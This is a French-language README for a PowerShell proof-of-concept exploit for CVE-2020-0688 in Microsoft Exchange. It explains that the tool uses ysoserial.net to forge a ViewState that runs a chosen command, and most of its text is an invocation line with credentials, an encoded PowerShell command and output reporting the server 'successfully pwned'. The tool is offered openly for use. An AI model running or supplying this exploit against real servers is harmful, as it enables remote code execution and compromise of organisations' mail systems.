
PoC pour Forgot2kEyXCHANGE (CVE-2020-0688) écrit en PowerShell
Preuve de concept pour Forgot2kEyXCHANGE (CVE-2020-0688) écrit en PowerShell
Cette PoC nécessite un nom d'utilisateur et un mot de passe valides.
Cette PoC utilise ysoserial.net pour créer le nouveau ViewState qui contient la commande que vous avez spécifiée dans le paramètre -Command. Si vous ne l'avez pas déjà installé sur votre système, téléchargez-le ici.
PS> . .\PSForgot2kEyXCHANGE.ps1
PS> Invoke-Forgot2kEyXCHANG -Server 'https://webmail.domain.tld' -User '[email protected]' -Password 'Summer2020!' -Command 'cmd /c powershell.exe -en dwByAGkAdABlAC0AaABvAHMAdAAgACcASQAnAG0AIABhACAAcwB0AGkAbgBrAHkAIABzAGsAaQBkACAAdwBoAG8AIAByAHUAbgBzACAAcgBhAG4AZABvAG0AIABjAG8AZABlACAAOgApACcA=' -YsoserialPath 'C:\tools\ysoserial.net\ysoserial.exe'
[+] Login successfully!
[+] Generated new ViewState successfully!
[+] Got a 500 response, successfully pwned https://webmail.domain.tld !
N'hésitez pas à ouvrir des issues, à contribuer et à soumettre vos Pull Requests. Vous pouvez aussi me contacter sur Twitter (@JustinPerdok)